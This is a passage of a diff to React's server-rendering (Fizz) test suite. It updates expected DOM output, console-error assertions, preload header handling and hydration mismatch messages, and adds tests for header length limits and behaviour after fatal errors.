+            <Text text="This will show B: " />
+            <div>
+              <AsyncText text="B" />
+            </div>
+          </Suspense>
+        </div>,
         {
           identifierPrefix: 'B_',
           onShellReady() {
@@ -1495,8 +1570,12 @@ describe('ReactDOMFizzServer', () => {
     });
 
     expect(getVisibleChildren(container)).toEqual([
-      <div id="container-A">Loading A...</div>,
-      <div id="container-B">Loading B...</div>,
+      <div id="container-A">
+        <div>Loading A...</div>
+      </div>,
+      <div id="container-B">
+        <div>Loading B...</div>
+      </div>,
     ]);
 
     await act(() => {
@@ -1504,9 +1583,13 @@ describe('ReactDOMFizzServer', () => {
     });
 
     expect(getVisibleChildren(container)).toEqual([
-      <div id="container-A">Loading A...</div>,
+      <div id="container-A">
+        <div>Loading A...</div>
+      </div>,
       <div id="container-B">
-        This will show B: <div>B</div>
+        <div>
+          This will show B: <div>B</div>
+        </div>
       </div>,
     ]);
 
@@ -1519,10 +1602,14 @@ describe('ReactDOMFizzServer', () => {
 
     expect(getVisibleChildren(container)).toEqual([
       <div id="container-A">
-        This will show A: <div>A</div>
+        <div>
+          This will show A: <div>A</div>
+        </div>
       </div>,
       <div id="container-B">
-        This will show B: <div>B</div>
+        <div>
+          This will show B: <div>B</div>
+        </div>
       </div>,
     ]);
   });
@@ -1754,7 +1841,7 @@ describe('ReactDOMFizzServer', () => {
   function normalizeCodeLocInfo(str) {
     return (
       str &&
-      String(str).replace(/\n +(?:at|in) ([\S]+)[^\n]*/g, function (m, name) {
+      String(str).replace(/\n +(?:at|in) ([^\(]+) [^\n]*/g, function (m, name) {
         return '\n    in ' + name + ' (at **)';
       })
     );
@@ -1766,9 +1853,9 @@ describe('ReactDOMFizzServer', () => {
       // Intentionally trigger a key warning here.
       return (
         <div>
-          {children.map(t => (
-            <span>{t}</span>
-          ))}
+          {children.map(function mapper(t) {
+            return <span>{t}</span>;
+          })}
         </div>
       );
     }
@@ -1789,82 +1876,48 @@ describe('ReactDOMFizzServer', () => {
       );
     }
 
-    // We can't use the toErrorDev helper here because this is an async act.
-    const originalConsoleError = console.error;
-    const mockError = jest.fn();
-    console.error = (...args) => {
-      mockError(...args.map(normalizeCodeLocInfo));
-    };
-
-    try {
-      await act(() => {
-        const {pipe} = renderToPipeableStream(<A />);
-        pipe(writable);
-      });
+    await act(() => {
+      const {pipe} = renderToPipeableStream(<A />);
+      pipe(writable);
+    });
 
-      expect(getVisibleChildren(container)).toEqual(
-        <div>
-          <incorrecttag>Loading</incorrecttag>
-        </div>,
-      );
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <incorrecttag>Loading</incorrecttag>
+      </div>,
+    );
 
-      if (__DEV__) {
-        expect(mockError).toHaveBeenCalledWith(
-          '<%s /> is using incorrect casing. Use PascalCase for React components, or lowercase for HTML elements.%s',
-          'inCorrectTag',
-          '\n' +
-            '    in inCorrectTag (at **)\n' +
-            '    in C (at **)\n' +
-            '    in Suspense (at **)\n' +
-            '    in div (at **)\n' +
-            '    in A (at **)',
-        );
-        mockError.mockClear();
-      } else {
-        expect(mockError).not.toHaveBeenCalled();
-      }
+    assertConsoleErrorDev([
+      '<inCorrectTag /> is using incorrect casing. Use PascalCase for React components, or lowercase for HTML elements.' +
+        '\n' +
+        '    in inCorrectTag (at **)\n' +
+        '    in C (at **)\n' +
+        '    in A (at **)',
+    ]);
 
-      await act(() => {
-        resolveText('Hello');
-        resolveText('World');
-      });
+    await act(() => {
+      resolveText('Hello');
+      resolveText('World');
+    });
 
-      if (__DEV__) {
-        expect(mockError).toHaveBeenCalledWith(
-          'Each child in a list should have a unique "key" prop.%s%s' +
-            ' See https://react.dev/link/warning-keys for more information.%s',
-          gate(flags => flags.enableOwnerStacks)
-            ? // We currently don't track owners in Fizz which is responsible for this frame.
-              ''
-            : '\n\nCheck the top-level render call using <div>.',
-          '',
-          '\n' +
-            '    in span (at **)\n' +
-            // TODO: Because this validates after the div has been mounted, it is part of
-            // the parent stack but since owner stacks will switch to owners this goes away again.
-            (gate(flags => flags.enableOwnerStacks)
-              ? '    in div (at **)\n'
-              : '') +
-            '    in B (at **)\n' +
-            '    in Suspense (at **)\n' +
-            '    in div (at **)\n' +
-            '    in A (at **)',
-        );
-      } else {
-        expect(mockError).not.toHaveBeenCalled();
-      }
+    assertConsoleErrorDev([
+      'Each child in a list should have a unique "key" prop.\n\nCheck the render method of `B`.' +
+        ' See https://react.dev/link/warning-keys for more information.\n' +
+        '    in span (at **)\n' +
+        '    in mapper (at **)\n' +
+        '    in Array.map (at **)\n' +
+        '    in B (at **)\n' +
+        '    in A (at **)',
+    ]);
 
-      expect(getVisibleChildren(container)).toEqual(
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
         <div>
-          <div>
-            <span>Hello</span>
-            <span>World</span>
-          </div>
-        </div>,
-      );
-    } finally {
-      console.error = originalConsoleError;
-    }
+          <span>Hello</span>
+          <span>World</span>
+        </div>
+      </div>,
+    );
   });
 
   // @gate !disableLegacyContext
@@ -1930,6 +1983,14 @@ describe('ReactDOMFizzServer', () => {
       );
       pipe(writable);
     });
+    assertConsoleErrorDev([
+      'TestProvider uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in TestProvider (at **)',
+      'TestConsumer uses the legacy contextTypes API which will soon be removed. ' +
+        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+        '    in TestConsumer (at **)',
+    ]);
     expect(getVisibleChildren(container)).toEqual(
       <div>
         Loading: <b>A</b>
@@ -2079,15 +2140,21 @@ describe('ReactDOMFizzServer', () => {
   it('client renders a boundary if it errors before finishing the fallback', async () => {
     function App({isClient}) {
       return (
-        <Suspense fallback="Loading root...">
-          <div>
-            <Suspense fallback={<AsyncText text="Loading..." />}>
-              <h1>
-                {isClient ? <Text text="Hello" /> : <AsyncText text="Hello" />}
-              </h1>
-            </Suspense>
-          </div>
-        </Suspense>
+        <div>
+          <Suspense fallback="Loading root...">
+            <div>
+              <Suspense fallback={<AsyncText text="Loading..." />}>
+                <h1>
+                  {isClient ? (
+                    <Text text="Hello" />
+                  ) : (
+                    <AsyncText text="Hello" />
+                  )}
+                </h1>
+              </Suspense>
+            </div>
+          </Suspense>
+        </div>
       );
     }
 
@@ -2124,7 +2191,7 @@ describe('ReactDOMFizzServer', () => {
     await waitForAll([]);
 
     // We're still loading because we're waiting for the server to stream more content.
-    expect(getVisibleChildren(container)).toEqual('Loading root...');
+    expect(getVisibleChildren(container)).toEqual(<div>Loading root...</div>);
 
     expect(loggedErrors).toEqual([]);
 
@@ -2137,7 +2204,7 @@ describe('ReactDOMFizzServer', () => {
 
     // We still can't render it on the client because we haven't unblocked the parent.
     await waitForAll([]);
-    expect(getVisibleChildren(container)).toEqual('Loading root...');
+    expect(getVisibleChildren(container)).toEqual(<div>Loading root...</div>);
 
     // Unblock the loading state
     await act(() => {
@@ -2145,7 +2212,11 @@ describe('ReactDOMFizzServer', () => {
     });
 
     // Now we're able to show the inner boundary.
-    expect(getVisibleChildren(container)).toEqual(<div>Loading...</div>);
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <div>Loading...</div>
+      </div>,
+    );
 
     // That will let us client render it instead.
     await waitForAll([]);
@@ -2162,6 +2233,7 @@ describe('ReactDOMFizzServer', () => {
             'Suspense',
             'div',
             'Suspense',
+            'div',
             'App',
           ]),
         ],
@@ -2177,7 +2249,9 @@ describe('ReactDOMFizzServer', () => {
     // The client rendered HTML is now in place.
     expect(getVisibleChildren(container)).toEqual(
       <div>
-        <h1>Hello</h1>
+        <div>
+          <h1>Hello</h1>
+        </div>
       </div>,
     );
 
@@ -2187,183 +2261,44 @@ describe('ReactDOMFizzServer', () => {
   it('should be able to abort the fallback if the main content finishes first', async () => {
     await act(() => {
       const {pipe} = renderToPipeableStream(
-        <Suspense fallback={<Text text="Loading Outer" />}>
-          <div>
-            <Suspense
-              fallback={
-                <div>
-                  <AsyncText text="Loading" />
-                  Inner
-                </div>
-              }>
-              <AsyncText text="Hello" />
-            </Suspense>
-          </div>
-        </Suspense>,
+        <div>
+          <Suspense fallback={<Text text="Loading Outer" />}>
+            <div>
+              <Suspense
+                fallback={
+                  <div>
+                    <AsyncText text="Loading" />
+                    Inner
+                  </div>
+                }>
+                <AsyncText text="Hello" />
+              </Suspense>
+            </div>
+          </Suspense>
+        </div>,
       );
       pipe(writable);
     });
-    expect(getVisibleChildren(container)).toEqual('Loading Outer');
+    expect(getVisibleChildren(container)).toEqual(<div>Loading Outer</div>);
     // We should have received a partial segment containing the a partial of the fallback.
     expect(container.innerHTML).toContain('Inner');
     await act(() => {
       resolveText('Hello');
     });
     // We should've been able to display the content without waiting for the rest of the fallback.
-    expect(getVisibleChildren(container)).toEqual(<div>Hello</div>);
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <div>Hello</div>
+      </div>,
+    );
   });
 
-  // @gate enableSuspenseAvoidThisFallbackFizz
-  it('should respect unstable_avoidThisFallback', async () => {
-    const resolved = {
-      0: false,
-      1: false,
-    };
-    const promiseRes = {};
-    const promises = {
-      0: new Promise(res => {
-        promiseRes[0] = () => {
-          resolved[0] = true;
-          res();
-        };
-      }),
-      1: new Promise(res => {
-        promiseRes[1] = () => {
-          resolved[1] = true;
-          res();
-        };
-      }),
-    };
+  it('calls getServerSnapshot instead of getSnapshot', async () => {
+    const ref = React.createRef();
 
-    const InnerComponent = ({isClient, depth}) => {
-      if (isClient) {
-        // Resuspend after re-rendering on client to check that fallback shows on client
-        throw new Promise(() => {});
-      }
-      if (!resolved[depth]) {
-        throw promises[depth];
-      }
-      return (
-        <div>
-          <Text text={`resolved ${depth}`} />
-        </div>
-      );
-    };
-
-    function App({isClient}) {
-      return (
-        <div>
-          <Text text="Non Suspense Content" />
-          <Suspense
-            fallback={
-              <span>
-                <Text text="Avoided Fallback" />
-              </span>
-            }
-            unstable_avoidThisFallback={true}>
-            <InnerComponent isClient={isClient} depth={0} />
-            <div>
-              <Suspense fallback={<Text text="Fallback" />}>
-                <Suspense
-                  fallback={
-                    <span>
-                      <Text text="Avoided Fallback2" />
-                    </span>
-                  }
-                  unstable_avoidThisFallback={true}>
-                  <InnerComponent isClient={isClient} depth={1} />
-                </Suspense>
-              </Suspense>
-            </div>
-          </Suspense>
-        </div>
-      );
-    }
-
-    await jest.runAllTimers();
-
-    await act(() => {
-      const {pipe} = renderToPipeableStream(<App isClient={false} />);
-      pipe(writable);
-    });
-
-    // Nothing is output since root has a suspense with avoidedThisFallback that hasn't resolved
-    expect(getVisibleChildren(container)).toEqual(undefined);
-    expect(container.innerHTML).not.toContain('Avoided Fallback');
-
-    // resolve first suspense component with avoidThisFallback
-    await act(() => {
-      promiseRes[0]();
-    });
-
-    expect(getVisibleChildren(container)).toEqual(
-      <div>
-        Non Suspense Content
-        <div>resolved 0</div>
-        <div>Fallback</div>
-      </div>,
-    );
-
-    expect(container.innerHTML).not.toContain('Avoided Fallback2');
-
-    await act(() => {
-      promiseRes[1]();
-    });
-
-    expect(getVisibleChildren(container)).toEqual(
-      <div>
-        Non Suspense Content
-        <div>resolved 0</div>
-        <div>
-          <div>resolved 1</div>
-        </div>
-      </div>,
-    );
-
-    let root;
-    await act(async () => {
-      root = ReactDOMClient.hydrateRoot(container, <App isClient={false} />);
-      await waitForAll([]);
-      await jest.runAllTimers();
-    });
-
-    // No change after hydration
-    expect(getVisibleChildren(container)).toEqual(
-      <div>
-        Non Suspense Content
-        <div>resolved 0</div>
-        <div>
-          <div>resolved 1</div>
-        </div>
-      </div>,
-    );
-
-    await act(async () => {
-      // Trigger update by changing isClient to true
-      root.render(<App isClient={true} />);
-      await waitForAll([]);
-      await jest.runAllTimers();
-    });
-
-    // Now that we've resuspended at the root we show the root fallback
-    expect(getVisibleChildren(container)).toEqual(
-      <div>
-        Non Suspense Content
-        <div style="display: none;">resolved 0</div>
-        <div style="display: none;">
-          <div>resolved 1</div>
-        </div>
-        <span>Avoided Fallback</span>
-      </div>,
-    );
-  });
-
-  it('calls getServerSnapshot instead of getSnapshot', async () => {
-    const ref = React.createRef();
-
-    function getServerSnapshot() {
-      return 'server';
-    }
+    function getServerSnapshot() {
+      return 'server';
+    }
 
     function getClientSnapshot() {
       return 'client';
@@ -3522,13 +3457,13 @@ describe('ReactDOMFizzServer', () => {
           'Switched to client rendering because the server rendering aborted due to:\n\n' +
             'foobar',
           'a digest',
-          componentStack(['Suspense', 'p', 'div', 'App']),
+          componentStack(['AsyncText', 'Suspense', 'p', 'div', 'App']),
         ],
         [
           'Switched to client rendering because the server rendering aborted due to:\n\n' +
             'foobar',
           'a digest',
-          componentStack(['Suspense', 'span', 'div', 'App']),
+          componentStack(['AsyncText', 'Suspense', 'span', 'div', 'App']),
         ],
       ],
       [
@@ -3605,13 +3540,13 @@ describe('ReactDOMFizzServer', () => {
           'Switched to client rendering because the server rendering aborted due to:\n\n' +
             'uh oh',
           'a digest',
-          componentStack(['Suspense', 'p', 'div', 'App']),
+          componentStack(['AsyncText', 'Suspense', 'p', 'div', 'App']),
         ],
         [
           'Switched to client rendering because the server rendering aborted due to:\n\n' +
             'uh oh',
           'a digest',
-          componentStack(['Suspense', 'span', 'div', 'App']),
+          componentStack(['AsyncText', 'Suspense', 'span', 'div', 'App']),
         ],
       ],
       [
@@ -3653,15 +3588,13 @@ describe('ReactDOMFizzServer', () => {
       </div>,
       {
         onRecoverableError(error, errorInfo) {
-          expect(() => {
-            expect(error.digest).toBe('a digest');
-            expect(errorInfo.digest).toBe(undefined);
-          }).toErrorDev(
+          expect(error.digest).toBe('a digest');
+          expect(errorInfo.digest).toBe(undefined);
+          assertConsoleErrorDev([
             'You are accessing "digest" from the errorInfo object passed to onRecoverableError.' +
               ' This property is no longer provided as part of errorInfo but can be accessed as a property' +
               ' of the Error instance itself.',
-            {withoutStack: true},
-          );
+          ]);
         },
       },
     );
@@ -3691,7 +3624,13 @@ describe('ReactDOMFizzServer', () => {
     expect(document.head.innerHTML).toBe(
       '<script type="importmap">' +
         JSON.stringify(importMap) +
-        '</script><script async="" src="foo"></script>',
+        '</script><script async="" src="foo"></script>' +
+        (gate(flags => flags.shouldUseFizzExternalRuntime)
+          ? '<script src="react-dom-bindings/src/server/ReactDOMServerExternalRuntime.js" async=""></script>'
+          : '') +
+        (gate(flags => flags.enableFizzBlockingRender)
+          ? '<link rel="expect" href="#_R_" blocking="render">'
+          : ''),
     );
   });
 
@@ -3816,23 +3755,43 @@ describe('ReactDOMFizzServer', () => {
     });
   });
 
-  it('encodes img srcset and sizes into preload header params', async () => {
+  it('omits images from preload headers if they contain srcset and sizes', async () => {
     let headers = null;
     function onHeaders(x) {
       headers = x;
     }
 
     function App() {
-      ReactDOM.preload('presrc', {
+      ReactDOM.preload('responsive-preload-set-only', {
+        as: 'image',
+        fetchPriority: 'high',
+        imageSrcSet: 'srcset',
+      });
+      ReactDOM.preload('responsive-preload', {
+        as: 'image',
+        fetchPriority: 'high',
+        imageSrcSet: 'srcset',
+        imageSizes: 'sizes',
+      });
+      ReactDOM.preload('non-responsive-preload', {
         as: 'image',
         fetchPriority: 'high',
-        imageSrcSet: 'presrcset',
-        imageSizes: 'presizes',
       });
       return (
         <html>
           <body>
-            <img src="src" srcSet="srcset" sizes="sizes" />
+            <img
+              src="responsive-img-set-only"
+              fetchPriority="high"
+              srcSet="srcset"
+            />
+            <img
+              src="responsive-img"
+              fetchPriority="high"
+              srcSet="srcset"
+              sizes="sizes"
+            />
+            <img src="non-responsive-img" fetchPriority="high" />
           </body>
         </html>
       );
@@ -3844,8 +3803,8 @@ describe('ReactDOMFizzServer', () => {
 
     expect(headers).toEqual({
       Link: `
-<presrc>; rel=preload; as="image"; fetchpriority="high"; imagesrcset="presrcset"; imagesizes="presizes",
- <src>; rel=preload; as="image"; imagesrcset="srcset"; imagesizes="sizes"
+<non-responsive-preload>; rel=preload; as="image"; fetchpriority="high", 
+<non-responsive-img>; rel=preload; as="image"; fetchpriority="high"
 `
         .replaceAll('\n', '')
         .trim(),
@@ -3936,6 +3895,120 @@ describe('ReactDOMFizzServer', () => {
     expect(getVisibleChildren(container)).toEqual(<div>hello</div>);
   });
 
+  it('accounts for the length of the interstitial between links when computing the headers length', async () => {
+    let headers = null;
+    function onHeaders(x) {
+      headers = x;
+    }
+
+    function App() {
+      // 20 bytes
+      ReactDOM.preconnect('01');
+      // 42 bytes
+      ReactDOM.preconnect('02');
+      // 64 bytes
+      ReactDOM.preconnect('03');
+      // 86 bytes
+      ReactDOM.preconnect('04');
+      // 108 bytes
+      ReactDOM.preconnect('05');
+      // 130 bytes
+      ReactDOM.preconnect('06');
+      // 152 bytes
+      ReactDOM.preconnect('07');
+      // 174 bytes
+      ReactDOM.preconnect('08');
+      // 196 bytes
+      ReactDOM.preconnect('09');
+      // 218 bytes
+      ReactDOM.preconnect('10');
+      // 240 bytes
+      ReactDOM.preconnect('11');
+      // 262 bytes
+      ReactDOM.preconnect('12');
+      // 284 bytes
+      ReactDOM.preconnect('13');
+      // 306 bytes
+      ReactDOM.preconnect('14');
+      return (
+        <html>
+          <body>hello</body>
+        </html>
+      );
+    }
+
+    await act(() => {
+      renderToPipeableStream(<App />, {onHeaders, maxHeadersLength: 305});
+    });
+    expect(headers.Link.length).toBe(284);
+
+    await act(() => {
+      renderToPipeableStream(<App />, {onHeaders, maxHeadersLength: 306});
+    });
+    expect(headers.Link.length).toBe(306);
+  });
+
+  it('does not perform any additional work after fatally erroring', async () => {
+    let resolve: () => void;
+    const promise = new Promise(r => {
+      resolve = r;
+    });
+    function AsyncComp() {
+      React.use(promise);
+      return <DidRender>Async</DidRender>;
+    }
+
+    let didRender = false;
+    function DidRender({children}) {
+      didRender = true;
+      return children;
+    }
+
+    function ErrorComp() {
+      throw new Error('boom');
+    }
+
+    function App() {
+      return (
+        <div>
+          <Suspense fallback="loading...">
+            <AsyncComp />
+          </Suspense>
+          <ErrorComp />
+        </div>
+      );
+    }
+
+    let pipe;
+    const errors = [];
+    let didFatal = true;
+    await act(() => {
+      pipe = renderToPipeableStream(<App />, {
+        onError(error) {
+          errors.push(error.message);
+        },
+        onShellError(error) {
+          didFatal = true;
+        },
+      }).pipe;
+    });
+
+    expect(didRender).toBe(false);
+    await act(() => {
+      resolve();
+    });
+    expect(didRender).toBe(false);
+
+    const testWritable = new Stream.Writable();
+    await act(() => pipe(testWritable));
+    expect(didRender).toBe(false);
+    expect(didFatal).toBe(didFatal);
+    expect(errors).toEqual([
+      'boom',
+      'The destination stream errored while writing data.',
+    ]);
+  });
+
   describe('error escaping', () => {
     it('escapes error hash, message, and component stack values in directly flushed errors (html escaping)', async () => {
       window.__outlet = {};
@@ -4166,7 +4239,7 @@ describe('ReactDOMFizzServer', () => {
         renderOptions.unstable_externalRuntimeSrc,
       ).map(n => n.outerHTML),
     ).toEqual([
-      '<script src="foo" async=""></script>',
+      '<script src="foo" id="_R_" async=""></script>',
       '<script src="bar" async=""></script>',
       '<script src="baz" integrity="qux" async=""></script>',
       '<script type="module" src="quux" async=""></script>',
@@ -4253,7 +4326,7 @@ describe('ReactDOMFizzServer', () => {
         renderOptions.unstable_externalRuntimeSrc,
       ).map(n => n.outerHTML),
     ).toEqual([
-      '<script src="foo" async=""></script>',
+      '<script src="foo" id="_R_" async=""></script>',
       '<script src="bar" async=""></script>',
       '<script src="baz" crossorigin="" async=""></script>',
       '<script src="qux" crossorigin="" async=""></script>',
@@ -4471,7 +4544,8 @@ describe('ReactDOMFizzServer', () => {
     expect(document.getElementsByTagName('script').length).toEqual(1);
   });
 
-  it('does not send the external runtime for static pages', async () => {
+  // @gate shouldUseFizzExternalRuntime
+  it('does (unfortunately) send the external runtime for static pages', async () => {
     await act(() => {
       const {pipe} = renderToPipeableStream(
         <html>
@@ -4485,11 +4559,19 @@ describe('ReactDOMFizzServer', () => {
     });
 
     // no scripts should be sent
-    expect(document.getElementsByTagName('script').length).toEqual(0);
+    expect(document.getElementsByTagName('script').length).toEqual(1);
 
     // the html should be as-is
     expect(document.documentElement.innerHTML).toEqual(
-      '<head></head><body><p>hello world!</p></body>',
+      '<head><script src="react-dom-bindings/src/server/ReactDOMServerExternalRuntime.js" async=""></script>' +
+        (gate(flags => flags.enableFizzBlockingRender)
+          ? '<link rel="expect" href="#_R_" blocking="render">'
+          : '') +
+        '</head><body><p>hello world!</p>' +
+        (gate(flags => flags.enableFizzBlockingRender)
+          ? '<template id="_R_"></template>'
+          : '') +
+        '</body>',
     );
   });
 
@@ -4569,7 +4651,6 @@ describe('ReactDOMFizzServer', () => {
     );
   });
 
-  // @gate favorSafetyOverHydrationPerf
   it('#24384: Suspending should halt hydration warnings but still emit hydration warnings after unsuspending if mismatches are genuine', async () => {
     const makeApp = () => {
       let resolve, resolved;
@@ -4641,7 +4722,7 @@ describe('ReactDOMFizzServer', () => {
     // client-side rendering.
     await clientResolve();
     await waitForAll([
-      "onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.",
+      "onRecoverableError: Hydration failed because the server rendered text didn't match the client.",
     ]);
     expect(getVisibleChildren(container)).toEqual(
       <div>
@@ -4653,14 +4734,7 @@ describe('ReactDOMFizzServer', () => {
     await waitForAll([]);
   });
 
-  // @gate favorSafetyOverHydrationPerf
   it('only warns once on hydration mismatch while within a suspense boundary', async () => {
-    const originalConsoleError = console.error;
-    const mockError = jest.fn();
-    console.error = (...args) => {
-      mockError(...args.map(normalizeCodeLocInfo));
-    };
-
     const App = ({text}) => {
       return (
         <div>
@@ -4673,45 +4747,40 @@ describe('ReactDOMFizzServer', () => {
       );
     };
 
-    try {
-      await act(() => {
-        const {pipe} = renderToPipeableStream(<App text="initial" />);
-        pipe(writable);
-      });
+    await act(() => {
+      const {pipe} = renderToPipeableStream(<App text="initial" />);
+      pipe(writable);
+    });
 
-      expect(getVisibleChildren(container)).toEqual(
-        <div>
-          <h2>initial</h2>
-          <h2>initial</h2>
-          <h2>initial</h2>
-        </div>,
-      );
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <h2>initial</h2>
+        <h2>initial</h2>
+        <h2>initial</h2>
+      </div>,
+    );
 
-      ReactDOMClient.hydrateRoot(container, <App text="replaced" />, {
-        onRecoverableError(error) {
-          Scheduler.log('onRecoverableError: ' + normalizeError(error.message));
-          if (error.cause) {
-            Scheduler.log('Cause: ' + normalizeError(error.cause.message));
-          }
-        },
-      });
-      await waitForAll([
-        "onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.",
-      ]);
+    ReactDOMClient.hydrateRoot(container, <App text="replaced" />, {
+      onRecoverableError(error) {
+        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));
+        if (error.cause) {
+          Scheduler.log('Cause: ' + normalizeError(error.cause.message));
+        }
+      },
+    });
+    await waitForAll([
+      "onRecoverableError: Hydration failed because the server rendered text didn't match the client.",
+    ]);
 
-      expect(getVisibleChildren(container)).toEqual(
-        <div>
-          <h2>replaced</h2>
-          <h2>replaced</h2>
-          <h2>replaced</h2>
-        </div>,
-      );
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <h2>replaced</h2>
+        <h2>replaced</h2>
+        <h2>replaced</h2>
+      </div>,
+    );
 
-      await waitForAll([]);
-      expect(mockError.mock.calls.length).toBe(0);
-    } finally {
-      console.error = originalConsoleError;
-    }
+    await waitForAll([]);
   });
 
   it('supresses hydration warnings when an error occurs within a Suspense boundary', async () => {
@@ -4787,18 +4856,6 @@ describe('ReactDOMFizzServer', () => {
   });
 
   it('does not log for errors after the first hydration error', async () => {
-    // We can't use the toErrorDev helper here because this is async.
-    const originalConsoleError = console.error;
-    const mockError = jest.fn();
-    console.error = (...args) => {
-      if (args.length > 1) {
-        if (typeof args[1] === 'object') {
-          mockError(args[0].split('\n')[0]);
-          return;
-        }
-      }
-      mockError(...args.map(normalizeCodeLocInfo));
-    };
     let isClient = false;
 
     function ThrowWhenHydrating({children, message}) {
@@ -4836,69 +4893,50 @@ describe('ReactDOMFizzServer', () => {
       );
     };
 
-    try {
-      await act(() => {
-        const {pipe} = renderToPipeableStream(<App />);
-        pipe(writable);
-      });
+    await act(() => {
+      const {pipe} = renderToPipeableStream(<App />);
+      pipe(writable);
+    });
 
-      expect(getVisibleChildren(container)).toEqual(
-        <div>
-          <h1>one</h1>
-          <h2>two</h2>
-          <h3>three</h3>
-        </div>,
-      );
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <h1>one</h1>
+        <h2>two</h2>
+        <h3>three</h3>
+      </div>,
+    );
 
-      isClient = true;
+    isClient = true;
 
-      ReactDOMClient.hydrateRoot(container, <App />, {
-        onRecoverableError(error) {
-          Scheduler.log('onRecoverableError: ' + normalizeError(error.message));
-          if (error.cause) {
-            Scheduler.log('Cause: ' + normalizeError(error.cause.message));
-          }
-        },
-      });
-      await waitForAll([
-        'throwing: first error',
+    ReactDOMClient.hydrateRoot(container, <App />, {
+      onRecoverableError(error) {
+        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));
+        if (error.cause) {
+          Scheduler.log('Cause: ' + normalizeError(error.cause.message));
+        }
+      },
+    });
+    await waitForAll([
+      'throwing: first error',
 
-        // onRecoverableError because the UI recovered without surfacing the
-        // error to the user.
-        'onRecoverableError: There was an error while hydrating but React was able to recover by instead client rendering from the nearest Suspense boundary.',
-        'Cause: first error',
-      ]);
-      expect(mockError.mock.calls).toEqual([]);
-      mockError.mockClear();
+      // onRecoverableError because the UI recovered without surfacing the
+      // error to the user.
+      'onRecoverableError: There was an error while hydrating but React was able to recover by instead client rendering from the nearest Suspense boundary.',
+      'Cause: first error',
+    ]);
 
-      expect(getVisibleChildren(container)).toEqual(
-        <div>
-          <h1>one</h1>
-          <h2>two</h2>
-          <h3>three</h3>
-        </div>,
-      );
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <h1>one</h1>
+        <h2>two</h2>
+        <h3>three</h3>
+      </div>,
+    );
 
-      await waitForAll([]);
-      expect(mockError.mock.calls).toEqual([]);
-    } finally {
-      console.error = originalConsoleError;
-    }
+    await waitForAll([]);
   });
 
   it('does not log for errors after a preceding fiber suspends', async () => {
-    // We can't use the toErrorDev helper here because this is async.
-    const originalConsoleError = console.error;
-    const mockError = jest.fn();
-    console.error = (...args) => {
-      if (args.length > 1) {
-        if (typeof args[1] === 'object') {
-          mockError(args[0].split('\n')[0]);
-          return;
-        }
-      }
-      mockError(...args.map(normalizeCodeLocInfo));
-    };
     let isClient = false;
     let promise = null;
     let unsuspend = null;
@@ -4956,56 +4994,51 @@ describe('ReactDOMFizzServer', () => {
       );
     };
 
-    try {
-      await act(() => {
-        const {pipe} = renderToPipeableStream(<App />);
-        pipe(writable);
-      });
+    await act(() => {
+      const {pipe} = renderToPipeableStream(<App />);
+      pipe(writable);
+    });
 
-      expect(getVisibleChildren(container)).toEqual(
-        <div>
-          <h1>one</h1>
-          <h2>two</h2>
-          <h3>three</h3>
-        </div>,
-      );
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <h1>one</h1>
+        <h2>two</h2>
+        <h3>three</h3>
+      </div>,
+    );
 
-      isClient = true;
+    isClient = true;
 
-      ReactDOMClient.hydrateRoot(container, <App />, {
-        onRecoverableError(error) {
-          Scheduler.log('onRecoverableError: ' + normalizeError(error.message));
-          if (error.cause) {
-            Scheduler.log('Cause: ' + normalizeError(error.cause.message));
-          }
-        },
-      });
-      await waitForAll(['suspending']);
-      expect(mockError.mock.calls).toEqual([]);
+    ReactDOMClient.hydrateRoot(container, <App />, {
+      onRecoverableError(error) {
+        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));
+        if (error.cause) {
+          Scheduler.log('Cause: ' + normalizeError(error.cause.message));
+        }
+      },
+    });
+    await waitForAll(['suspending']);
 
-      expect(getVisibleChildren(container)).toEqual(
-        <div>
-          <h1>one</h1>
-          <h2>two</h2>
-          <h3>three</h3>
-        </div>,
-      );
-      await unsuspend();
-      await waitForAll([
-        'throwing: first error',
-        'onRecoverableError: There was an error while hydrating but React was able to recover by instead client rendering from the nearest Suspense boundary.',
-        'Cause: first error',
-      ]);
-      expect(getVisibleChildren(container)).toEqual(
-        <div>
-          <h1>one</h1>
-          <h2>two</h2>
-          <h3>three</h3>
-        </div>,
-      );
-    } finally {
-      console.error = originalConsoleError;
-    }
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <h1>one</h1>
+        <h2>two</h2>
+        <h3>three</h3>
+      </div>,
+    );
+    await unsuspend();
+    await waitForAll([
+      'throwing: first error',
+      'onRecoverableError: There was an error while hydrating but React was able to recover by instead client rendering from the nearest Suspense boundary.',
+      'Cause: first error',
+    ]);
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <h1>one</h1>
+        <h2>two</h2>
+        <h3>three</h3>
+      </div>,
+    );
   });
 
   it('(outdated behavior) suspending after erroring will cause errors previously queued to be silenced until the boundary resolves', async () => {
@@ -5014,18 +5047,6 @@ describe('ReactDOMFizzServer', () => {
     // stack and revert to client rendering. I've kept the test around just to
     // demonstrate what actually happens in this sequence of events.
 
-    // We can't use the toErrorDev helper here because this is async.
-    const originalConsoleError = console.error;
-    const mockError = jest.fn();
-    console.error = (...args) => {
-      if (args.length > 1) {
-        if (typeof args[1] === 'object') {
-          mockError(args[0].split('\n')[0]);
-          return;
-        }
-      }
-      mockError(...args.map(normalizeCodeLocInfo));
-    };
     let isClient = false;
     let promise = null;
     let unsuspend = null;
@@ -5083,60 +5104,53 @@ describe('ReactDOMFizzServer', () => {
       );
     };
 
-    try {
-      await act(() => {
-        const {pipe} = renderToPipeableStream(<App />);
-        pipe(writable);
-      });
+    await act(() => {
+      const {pipe} = renderToPipeableStream(<App />);
+      pipe(writable);
+    });
 
